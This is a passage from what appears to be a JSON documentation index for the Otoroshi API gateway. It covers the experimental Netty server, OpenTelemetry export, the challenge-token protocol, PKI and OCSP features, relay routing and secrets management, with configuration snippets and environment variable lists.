jvm_memory_pools_PS_Survivor_Space_init gauge\njvm_memory_pools_PS_Survivor_Space_init 7.0254592E7\n# TYPE jvm_memory_pools_PS_Survivor_Space_max gauge\njvm_memory_pools_PS_Survivor_Space_max 1048576.0\n# TYPE jvm_memory_pools_PS_Survivor_Space_usage gauge\njvm_memory_pools_PS_Survivor_Space_usage 0.59375\n# TYPE jvm_memory_pools_PS_Survivor_Space_used gauge\njvm_memory_pools_PS_Survivor_Space_used 622592.0\n# TYPE jvm_memory_pools_PS_Survivor_Space_used_after_gc gauge\njvm_memory_pools_PS_Survivor_Space_used_after_gc 622592.0\n# TYPE jvm_memory_total_committed gauge\njvm_memory_total_committed 1.644478464E9\n# TYPE jvm_memory_total_init gauge\njvm_memory_total_init 1.697972224E9\n# TYPE jvm_memory_total_max gauge\njvm_memory_total_max 3.999268864E9\n# TYPE jvm_memory_total_used gauge\njvm_memory_total_used 3.82665128E8\n# TYPE jvm_thread_blocked_count gauge\njvm_thread_blocked_count 0.0\n# TYPE jvm_thread_count gauge\njvm_thread_count 82.0\n# TYPE jvm_thread_daemon_count gauge\njvm_thread_daemon_count 11.0\n# TYPE jvm_thread_deadlock_count gauge\njvm_thread_deadlock_count 0.0\n# TYPE jvm_thread_new_count gauge\njvm_thread_new_count 0.0\n# TYPE jvm_thread_runnable_count gauge\njvm_thread_runnable_count 25.0\n# TYPE jvm_thread_terminated_count gauge\njvm_thread_terminated_count 0.0\n# TYPE jvm_thread_timed_waiting_count gauge\njvm_thread_timed_waiting_count 10.0\n# TYPE jvm_thread_waiting_count gauge\njvm_thread_waiting_count 47.0\n```"},{"name":"netty-server.md","id":"/topics/netty-server.md","url":"/topics/netty-server.html","title":"Alternative HTTP server","content":"# Alternative HTTP server\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nwith the change of licence in Akka, we are experimenting around using Netty as http server for otoroshi (and getting rid of akka http)\n\nin `v1.5.14` we are introducing a new alternative http server base on [`reactor-netty`](https://projectreactor.io/docs/netty/release/reference/index.html). It also include a preview of an HTTP3 server using [netty-incubator-codec-quic](https://github.com/netty/netty-incubator-codec-quic) and [netty-incubator-codec-http3](https://github.com/netty/netty-incubator-codec-http3)\n\n## The specs\n\nthis new server can start during otoroshi boot sequence and accept HTTP/1.1 (with and without TLS), H2C and H2 (with and without TLS) connections and supporting both standard HTTP calls and websockets calls.\n\n## Enable the server\n\nto enable the server, just turn on the following flag\n\n```conf\notoroshi.next.experimental.netty-server.enabled = true\n```\n\nnow you should see something like the following in the logs\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Server options\n\nyou can also setup the host and ports of the server using\n\n```conf\notoroshi.next.experimental.netty-server.host = \"0.0.0.0\"\notoroshi.next.experimental.netty-server.http-port = 10049\notoroshi.next.experimental.netty-server.https-port = 10048\n```\n\nyou can also enable access logs using\n\n```conf\notoroshi.next.experimental.netty-server.accesslog = true\n```\n\nand enable wiretaping using \n\n```conf\notoroshi.next.experimental.netty-server.wiretap = true\n```\n\nyou can also custom number of worker thread using\n\n```conf\notoroshi.next.experimental.netty-server.thread = 0 # system automatically assign the right number of threads\n```\n\n## HTTP2\n\nyou can enable or disable HTTP2 with\n\n```conf\notoroshi.next.experimental.netty-server.http2.enabled = true\notoroshi.next.experimental.netty-server.http2.h2c = true\n```\n\n## HTTP3\n\nyou can enable or disable HTTP3 (preview ;) ) with\n\n```conf\notoroshi.next.experimental.netty-server.http3.enabled = true\notoroshi.next.experimental.netty-server.http3.port = 10048 # yep can the the same as https because its on the UDP stack\n```\n\nthe result will be something like\n\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/3)\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Native transport\n\nIt is possible to enable native transport for the server\n\n```conf\notoroshi.next.experimental.netty-server.native.enabled = true\notoroshi.next.experimental.netty-server.native.driver = \"Auto\"\n```\n\npossible values for `otoroshi.next.experimental.netty-server.native.driver` are \n\n- `Auto`: the server try to find the best native option available\n- `Epoll`: the server uses Epoll native transport for Linux environments\n- `KQueue`: the server uses KQueue native transport for MacOS environments\n- `IOUring`: the server uses IOUring native transport for Linux environments that supports it (experimental, using [netty-incubator-transport-io_uring](https://github.com/netty/netty-incubator-transport-io_uring))\n\nthe result will be something like when starting on a Mac\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - using KQueue native transport\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/3)\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Env. variables\n\nyou can configure the server using the following env. variables\n\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NEW_ENGINE_ONLY`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HOST`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTPS_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_WIRETAP`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_THREADS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_ALLOW_DUPLICATE_CONTENT_LENGTHS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_VALIDATE_HEADERS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_H_2_C_MAX_CONTENT_LENGTH`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_INITIAL_BUFFER_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_HEADER_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_INITIAL_LINE_LENGTH`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_CHUNK_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP2_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP2_H2C`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP3_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP3_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAMS_BIDIRECTIONAL`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAM_DATA_BIDIRECTIONAL_REMOTE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAM_DATA_BIDIRECTIONAL_LOCAL`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_DATA`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_MAX_RECV_UDP_PAYLOAD_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_MAX_SEND_UDP_PAYLOAD_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NATIVE_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NATIVE_DRIVER`\n\n"},{"name":"opentelemetry.md","id":"/topics/opentelemetry.md","url":"/topics/opentelemetry.html","title":"OpenTelemetry support","content":"# OpenTelemetry support\n\nOpenTelemetry is an open-source project focused on providing a set of APIs, libraries, agents, and instrumentation to \nenable observability in modern software applications. It helps developers and software teams collect, process, \nand export telemetry data, which includes metrics, traces, and logs, from their applications and infrastructure. \nThe project aims to provide a standardized approach to instrumenting applications for distributed tracing, metrics, and logging.\n\nHere's a breakdown of the key components of OpenTelemetry:\n\n- **Tracing**: Distributed tracing is a method used to monitor and understand the flow of requests across different services \nin a distributed system. OpenTelemetry allows developers to add instrumentation to their code to trace requests as they \nflow through various services, providing insights into performance bottlenecks and dependencies between components.\n- **Metrics**: Metrics are quantitative measurements that provide information about the behavior and performance of \nan application. OpenTelemetry enables developers to collect metrics from their applications, such as CPU usage, memory \nconsumption, and custom application-specific metrics, to gain visibility into the application's health and performance.\n- **Logging**: OpenTelemetry also supports capturing and exporting logs, which are textual records of events and messages \nthat occur during the execution of an application. Logs are essential for debugging and monitoring purposes, and \nOpenTelemetry allows developers to integrate logging with other telemetry data, making it easier to correlate events.\n\nOpenTelemetry is designed to be language-agnostic and vendor-agnostic, supporting multiple programming languages and \nvarious telemetry backends. This flexibility makes it easier for developers to adopt the OpenTelemetry standard \nregardless of their technology stack.\n\nThe goal of OpenTelemetry is to promote a consistent way of collecting telemetry data across different applications \nand environments, making it easier for developers to adopt observability best practices. By leveraging OpenTelemetry, \nsoftware teams can gain deeper insights into the behavior of their systems and improve performance, troubleshoot \nissues, and enhance the overall reliability of their applications.\n\nNow, OpenTelemetry is officialy supported in Otoroshi and can be used in different parts of your instance. You can use \nit to collect otoroshi server logs and otoroshi server metrics through config. file. Then you have access to 2 new data \nexporter that can export otoroshi events to OpenTelemetry log collector and send custom metrics to an OpenTelemetry metrics collector.\n\n## server logs\n\notoroshi server logs can be sent to an OpenTelemetry log collector. Everything is configured throught the config. file\nand can be overloaded through env. variables, and `-D` jvm flags.\n\nfirst you need to set the `otoroshi.open-telemetry.server-logs.enabled` flag to `true` and then configure the remote \nconnection through endpoint, timeout, gzip and grpc. You can also enabled mTLS through `client_cert` and `trusted_cert` \nthat are otoroshi certificates id references. Finally you can use `max_duration` to specify the logs push interval.\n\n```config\notoroshi {\n ...\n open-telemetry {\n server-logs {\n enabled = false\n enabled = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_ENABLED}\n gzip = false\n gzip = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_GZIP}\n grpc = false\n grpc = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_GRPC}\n endpoint = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_ENDPOINT}\n timeout = 5000\n timeout = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_TIMEOUT}\n client_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_CLIENT_CERT}\n trusted_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_TRUSTED_CERT}\n headers = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_HEADERS}\n max_duration = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_MAX_DURATION}\n }\n ...\n }\n ...\n}\n```\n\n## server metrics\n\notoroshi server metrics can be sent to an OpenTelemetry metrics collector. Everything is configured throught the config. file\nand can be overloaded through env. variables, and `-D` jvm flags.\n\nfirst you need to set the `otoroshi.open-telemetry.server-metrics.enabled` flag to `true` and then configure the remote \nconnection through endpoint, timeout, gzip and grpc. You can also enabled mTLS through `client_cert` and `trusted_cert` \nthat are otoroshi certificates id references. Finally you can use `max_duration` to specify the metrics push interval.\n\n```config\notoroshi {\n ...\n open-telemetry {\n server-metrics {\n enabled = false\n enabled = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_ENABLED}\n gzip = false\n gzip = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_GZIP}\n grpc = false\n grpc = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_GRPC}\n endpoint = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_ENDPOINT}\n timeout = 5000\n timeout = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_TIMEOUT}\n client_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_CLIENT_CERT}\n trusted_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_TRUSTED_CERT}\n headers = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_HEADERS}\n max_duration = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_MAX_DURATION}\n }\n ...\n }\n ...\n}\n```\n\n## logs data expoter\n\nA new kind of data exporter is now available to send otoroshi events serialized as text to an OpenTelemetry log collector. \nFirst create a new data exporter and select the type `otlp-logs`. Then fill the filter and projection part as needed. In\nthe exporter config. section, fill the collectors endpoint, timeout, gzip and grpc flags, enable mTLS through \n`client_cert` and `trusted_cert`. \n\n@@@ div { .centered-img }\n\n@@@\n\n## metrics data exporter\n\nA new kind of data exporter is now available to send custom metrics derived from otoroshi events to an OpenTelemetry metrics collector. \nFirst create a new data exporter and select the type `otlp-metrics`. Then fill the filter and projection part as needed. In\nthe exporter config. section, fill the collectors endpoint, timeout, gzip and grpc flags, enable mTLS through \n`client_cert` and `trusted_cert`. \n\nThen you will be able to add new metrics on this data exporter with a name, the type of metric (counter, timer, histogram), the value and the kind of event it's based on.\n\n@@@ div { .centered-img }\n\n@@@\n\n\n\n\n"},{"name":"otoroshi-protocol.md","id":"/topics/otoroshi-protocol.md","url":"/topics/otoroshi-protocol.html","title":"The Otoroshi communication protocol","content":"# The Otoroshi communication protocol\n\nThe exchange protocol secure the communication with an app. When it's enabled, Otoroshi will send for each request a value in pre-selected token header, and will check the same header in the return request. On routes, you will have to use the `Otoroshi challenge token` plugin to enable it.\n\n### V1 challenge\n\nIf you enable secure communication for a given service with `V1 - simple values exchange` activated, you will have to add a filter on the target application that will take the `Otoroshi-State` header and return it in a header named `Otoroshi-State-Resp`. \n\n@@@ div { .centered-img }\n\n@@@\n\nyou can find an example project that implements V1 challenge [here](https://github.com/MAIF/otoroshi/tree/master/demos/challenge)\n\n### V2 challenge\n\nIf you enable secure communication for a given service with `V2 - signed JWT token exhange` activated, you will have to add a filter on the target application that will take the `Otoroshi-State` header value containing a JWT token, verify it's content signature then extract a claim named `state` and return a new JWT token in a header named `Otoroshi-State-Resp` with the `state` value in a claim named `state-resp`. By default, the signature algorithm is HMAC+SHA512 but can you can choose your own. The sent and returned JWT tokens have short TTL to avoid being replayed. You must be validate the tokens TTL. The audience of the response token must be `Otoroshi` and you have to specify `iat`, `nbf` and `exp`.\n\n@@@ div { .centered-img }\n\n@@@\n\nyou can find an example project that implements V2 challenge [here](https://github.com/MAIF/otoroshi/tree/master/demos/challenge)\n\n### Info. token\n\nOtoroshi is also sending a JWT token in a header named `Otoroshi-Claim` that the target app can validate too. On routes, you will have to use the `Otoroshi info. token` plugin to enable it.\n\nThe `Otoroshi-Claim` is a JWT token containing some informations about the service that is called and the client if available. You can choose between a legacy version of the token and a new one that is more clear and structured.\n\nBy default, the otoroshi jwt token is signed with the `otoroshi.claim.sharedKey` config property (or using the `$CLAIM_SHAREDKEY` env. variable) and uses the `HMAC512` signing algorythm. But it is possible to customize how the token is signed from the service descriptor page in the `Otoroshi exchange protocol` section. \n\n@@@ div { .centered-img }\n\n@@@\n\nusing another signing algo.\n\n@@@ div { .centered-img }\n\n@@@\n\nhere you can choose the signing algorithm and the secret/keys used. You can use syntax like `${env.MY_ENV_VAR}` or `${config.my.config.path}` to provide secret/keys values. \n\nFor example, for a service named `my-service` with a signing key `secret` with `HMAC512` signing algorythm, the basic JWT token that will be sent should look like the following\n\n```\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWIiOiItLSIsImF1ZCI6Im15LXNlcnZpY2UiLCJpc3MiOiJPdG9yb3NoaSIsImV4cCI6MTUyMTQ0OTkwNiwiaWF0IjoxNTIxNDQ5ODc2LCJqdGkiOiI3MTAyNWNjMTktMmFjNy00Yjk3LTljYzctMWM0ODEzYmM1OTI0In0.mRcfuFVFPLUV1FWHyL6rLHIJIu0KEpBkKQCk5xh-_cBt9cb6uD6enynDU0H1X2VpW5-bFxWCy4U4V78CbAQv4g\n```\n\nif you decode it, the payload will look something like\n\n```json\n{\n \"sub\": \"apikey_client_id\",\n \"aud\": \"my-service\",\n \"iss\": \"Otoroshi\",\n \"exp\": 1521449906,\n \"iat\": 1521449876,\n \"jti\": \"71025cc19-2ac7-4b97-9cc7-1c4813bc5924\"\n}\n```\n\nIf you want to validate the `Otoroshi-Claim` on the target app side to ensure that the input requests only comes from `Otoroshi`, you will have to write an HTTP filter to do the job. For instance, if you want to write a filter to make sure that requests only comes from Otoroshi, you can write something like the following (using playframework 2.6).\n\nScala\n: @@snip [filter.scala](../snippets/filter.scala)\n\nJava\n: @@snip [filter.java](../snippets/filter.java)\n"},{"name":"pki.md","id":"/topics/pki.md","url":"/topics/pki.html","title":"Otoroshi's PKI","content":"# Otoroshi's PKI\n\nWith Otoroshi, you can add your own certificates, your own CA and even create self signed certificates or certificates from CAs. You can enable auto renewal of thoses self signed certificates or certificates generated. Certificates have to be created with the certificate chain and the private key in PEM format.\n\nAn Otoroshi instance always starts with 5 auto-generated certificates. \n\nThe highest certificate is the **Otoroshi Default Root CA Certificate**. This certificate is used by Otoroshi to sign the intermediate CA.\n\n**Otoroshi Default Intermediate CA Certificate**: first intermediate CA that must be used to issue new certificates in Otoroshi. Creating certificates directly from the CA root certificate increases the risk of root certificate compromise, and if the CA root certificate is compromised, the entire trust infrastructure built by the SSL provider will fail\n\nThis intermediate CA signed three certificates :\n\n* **Otoroshi Default Client certificate**: \n* **Otoroshi Default Jwt Signing Keypair**: default keypair (composed of a public and private key), exposed on `https://xxxxxx/.well-known/jwks.json`, that can be used to sign and verify JWT verifier\n* **Otoroshi Default Wildcard Certificate**: this certificate has `*.oto.tools` as common name. It can be very useful to the development phase\n\n## The PKI API\n\nThe Otoroshi's PKI can be managed using the admin api of otoroshi (by default admin api is exposed on https://otoroshi-api.xxxxx)\n\nLink to the complete swagger section about PKI : https://maif.github.io/otoroshi/swagger-ui/index.html#/pki\n\n* `POST` [/api/pki/certs/_letencrypt](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genLetsEncryptCert): generates a certificate using Let's Encrypt or any ACME compatible system\n* `POST` [/api/pki/certs/_p12](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.importCertFromP12): import a .p12 file as client certificates\n* `POST` [/api/pki/certs/_valid](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.certificateIsValid): check if a certificate is valid (based on its own data)\n* `POST` [/api/pki/certs/_data](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.certificateData): extract data from a certificate\n* `POST` [/api/pki/certs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSelfSignedCert): generates a self signed certificates\n* `POST` [/api/pki/csrs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genCsr) : generates a CSR\n* `POST` [/api/pki/keys](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genKeyPair) : generates a keypair\n* `POST` [/api/pki/cas](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSelfSignedCA) : generates a self signed CA\n* `POST` [/api/pki/cas/:ca/certs/_sign](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.signCert): sign a certificate based on CSR\n* `POST` [/api/pki/cas/:ca/certs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genCert): generates a certificate\n* `POST` [/api/pki/cas/:ca/cas](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSubCA) : generates a sub-CA\n\n## The PKI UI\n\nAll generated certificates are listed in the `https://xxxxxx/bo/dashboard/certificates` page. All those certificates can be used to serve traffic with TLS, perform mTLS calls, sign and verify JWT tokens.\n\nThe PKI UI are composed of these following actions:\n\n* **Add item**: redirects the user on the certificate creation page. It’s useful when you already had a certificate (like a pem file) and that you want to load it in Otoroshi.\n* **Let's Encrypt certificate**: asks a certificate matching a given host to Let’s encrypt\n* **Create certificate**: issues a certificate with an existing Otoroshi certificate as CA. You can create a client certificate, a server certificate or a keypair certiciate that will be used to verify and sign JWT tokens.\n* **Import .p12 file**: loads a p12 file as certificate\n\nUnder these buttons, you have the list of current certificates, imported or generated, revoked or not. For each certificate, you will find: \n\n* a **name** \n* a **description** \n* the **subject** \n* the **type** of certificate (CA / client / keypair / certificate)\n* the **revoked reason** (empty if not) \n* the **creation date** following by its **expiration date**.\n\n## Exposed public keys\n\nThe Otoroshi certificate can be turned and used as keypair (simple action that can be executed by editing a certificate or during its creation, or using the admin api). A Otoroski keypair can be used to sign and verify JWT tokens with asymetric signature. Once a jwt token is signed with a keypair, it can be necessary to provide a way to the services to verify the tokens received by Otoroshi. This usage is cover by Otoroshi by the flag `Public key exposed`, available on each certificate.\n\nOtoroshi exposes each keypair with the flag enabled, on the following routes:\n\n* `https://xxxxxxxxx.xxxxxxx.xx/.well-known/otoroshi/security/jwks.json`\n* `https://otoroshi-api.xxxxxxx.xx/.well-known/jwks.json`\n\nOn these routes, you will find the list of public keys exposed using [the JWK standard](https://datatracker.ietf.org/doc/html/rfc7517)\n\n\n## OCSP Responder\n\nOtoroshi is able to revocate a certificate, directly from the UI, and to add a revocation status to specifiy the reason. The revocation reason can be :\n\n* `VALID`: The certificate is not revoked\n* `UNSPECIFIED`: Can be used to revoke certificates for reasons other than the specific codes.\n* `KEY_COMPROMISE`: It is known or suspected that the subject's private key or other aspects have been compromised.\n* `CA_COMPROMISE`: It is known or suspected that the subject's private key or other aspects have been compromised.\n* `AFFILIATION_CHANGED`: The subject's name or other information in the certificate has been modified but there is no cause to suspect that the private key has been compromised.\n* `SUPERSEDED`: The certificate has been superseded but there is no cause to suspect that the private key has been compromised\n* `CESSATION_OF_OPERATION`: The certificate is no longer needed for the purpose for which it was issued but there is no cause to suspect that the private key has been compromised\n* `CERTIFICATE_HOLD`: The certificate is temporarily revoked but there is no cause to suspect that the private kye has been compromised\n* `REMOVE_FROM_CRL`: The certificate has been unrevoked\n* `PRIVILEGE_WITH_DRAWN`: The certificate was revoked because a privilege contained within that certificate has been withdrawn\n* `AA_COMPROMISE`: It is known or suspected that aspects of the AA validated in the attribute certificate, have been compromised\n\nOtoroshi supports the Online Certificate Status Protocol for obtaining the revocation status of its certificates. The OCSP endpoint is also add to any generated certificate. This endpoint is available at `https://otoroshi-api.xxxxxx/.well-known/otoroshi/security/ocsp`\n\n## A.I.A : Authority Information Access\n\nOtoroshi provides a way to add the A.I.A in the certificate. This certificate extension contains :\n\n* Information about how to get the issuer of this certificate (CA issuer access method)\n* Address of the OCSP responder from where revocation of this certificate can be checked (OCSP access method)\n\n`https://xxxxxxxxxx/.well-known/otoroshi/security/certificates/:cert-id`"},{"name":"relay-routing.md","id":"/topics/relay-routing.md","url":"/topics/relay-routing.html","title":"Relay Routing","content":"# Relay Routing\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nRelay routing is the capability to forward traffic between otoroshi leader nodes based on network location of the target. Let say we have an otoroshi cluster split accross 3 network zones. Each zone has \n\n- one or more datastore instances\n- one or more otoroshi leader instances\n- one or more otoroshi worker instances\n\nthe datastores are replicated accross network zones in an active-active fashion. Each network zone also have applications, apis, etc deployed. Sometimes the same application is deployed in multiple zones, sometimes not. \n\nit can quickly become a nightmare when you want to access an application deployed in one network zone from another network zone. You'll have to publicly expose this application to be able to access it from the other zone. This pattern is fine, but sometimes it's not enough. With `relay routing`, you will be able to flag your routes as being deployed in one zone or another, and let otoroshi handle all the heavy lifting to route the traffic to the right network zone for you.\n\n@@@ div { .centered-img }\n\n@@@\n\n\n@@@ warning { .margin-top-20 }\nthis feature may introduce additional latency as the call passes through relay nodes\n@@@\n\n## Otoroshi instance setup\n\nfirst of all, for every otoroshi instance deployed, you have to flag where the instance is deployed and, for leaders, how this instance can be contacted from other zones (this is a **MAJOR** requirement, without that, you won't be able to make relay routing work). Also, you'll have to enable the @ref:[new proxy engine](./engine.md).\n\nIn the otoroshi configuration file, for each instance, enable relay routing and configure where the instance is located and how the leader can be contacted\n\n```conf\notoroshi {\n ...\n cluster {\n mode = \"leader\" # or \"worker\" dependending on the instance kind\n ...\n relay {\n enabled = true # enable relay routing\n leaderOnly = true # use leaders as the only kind of relay node\n location { # you can use all those parameters at the same time. There is no actual network concepts bound here, just some kind of tagging system, so you can use it as you wish\n provider = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_PROVIDER}\n zone = \"zone-1\"\n region = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_REGION}\n datacenter = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_DATACENTER}\n rack = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_RACK}\n }\n exposition {\n urls = [\"https://otoroshi-api-zone-1.my.domain:443\"]\n hostname = \"otoroshi-api-zone-1.my.domain\"\n clientId = \"apkid_relay-routing-apikey\"\n }\n }\n }\n}\n```\n\nalso, to make your leaders exposed by zone, do not hesitate to add domain names to the `otoroshi-admin-api` service and setup your DNS to bind those domains to the right place\n\n@@@ div { .centered-img }\n\n@@@\n\n## Route setup for an application deployed in only one zone\n\nNow, for any route/service deployed in only one zone, you will be able to flag it using its metadata as being deployed in one zone or another. The possible metadata keys are the following\n\n- `otoroshi-deployment-providers`\n- `otoroshi-deployment-regions`\n- `otoroshi-deployment-zones`\n- `otoroshi-deployment-dcs`\n- `otoroshi-deployment-racks`\n\nlet say we set `otoroshi-deployment-zones=zone-1` on a route, if we call this route from an otoroshi instance where `otoroshi.cluster.relay.location.zone` is not `zone-1`, otoroshi will automatically forward the requests to an otoroshi leader node where `otoroshi.cluster.relay.location.zone` is `zone-1`\n\n## Route setup for an application deployed in multiple zones at the same time\n\nNow, for any route/service deployed in multiple zones zones at the same time, you will be able to flag it using its metadata as being deployed in some zones. The possible metadata keys are the following\n\n- `otoroshi-deployment-providers`\n- `otoroshi-deployment-regions`\n- `otoroshi-deployment-zones`\n- `otoroshi-deployment-dcs`\n- `otoroshi-deployment-racks`\n\nlet say we set `otoroshi-deployment-zones=zone-1, zone-2` on a route, if we call this route from an otoroshi instance where `otoroshi.cluster.relay.location.zone` is not `zone-1` or `zone-2`, otoroshi will automatically forward the requests to an otoroshi leader node where `otoroshi.cluster.relay.location.zone` is `zone-1` or `zone-2` and load balance between them.\n\nalso, you will have to setup your targets to avoid trying to contact targets that are not actually in the current zone. To do that, you'll have to set the target predicate to `NetworkLocationMatch` and fill the possible locations according to the actual location of your target\n\n@@@ div { .centered-img }\n\n@@@\n\n## Demo\n\nyou can find a demo of this setup [here](https://github.com/MAIF/otoroshi/tree/master/demos/relay). This is a `docker-compose` setup with multiple network to simulate network zones. You also have an otoroshi export to understand how to setup your routes/services\n"},{"name":"secrets.md","id":"/topics/secrets.md","url":"/topics/secrets.html","title":"Secrets management","content":"# Secrets management\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nSecrets are generally confidential values that should not appear in plain text in the application. There are several products that help you store, retrieve, and rotate these secrets securely. Otoroshi offers a mechanism to set up references to these secrets in its entities to benefits from the perks of your existing secrets management infrastructure. This feature only work with the @ref:[new proxy engine](./engine.md).\n\nA secret can be anything you want like an apikey secret, a certificate private key or password, a jwt verifier signing key, a password to a proxy, a value for a header, etc.\n\n## Enable secrets management in otoroshi\n\nBy default secrets management is disbaled. You can enable it by setting `otoroshi.vaults.enabled` or `${OTOROSHI_VAULTS_ENABLED}` to `true`.\n\n## Global configuration\n\nSecrets management can be only configured using otoroshi static configuration file (also using jvm args mechanism). \nThe configuration is located at `otoroshi.vaults` where you can find the global configuration of the secrets management system and the configurations for each enabled secrets management backends. Basically it looks like\n\n```conf\nvaults {\n enabled = false\n enabled = ${?OTOROSHI_VAULTS_ENABLED}\n secrets-ttl = 300000 # 5 minutes\n secrets-ttl = ${?OTOROSHI_VAULTS_SECRETS_TTL}\n cached-secrets = 10000\n cached-secrets = ${?OTOROSHI_VAULTS_CACHED_SECRETS}\n read-timeout = 10000 # 10 seconds\n read-timeout = ${?OTOROSHI_VAULTS_READ_TIMEOUT}\n # if enabled, only leader nodes fetches the secrets.\n # entities with secret values filled are then sent to workers when they poll the 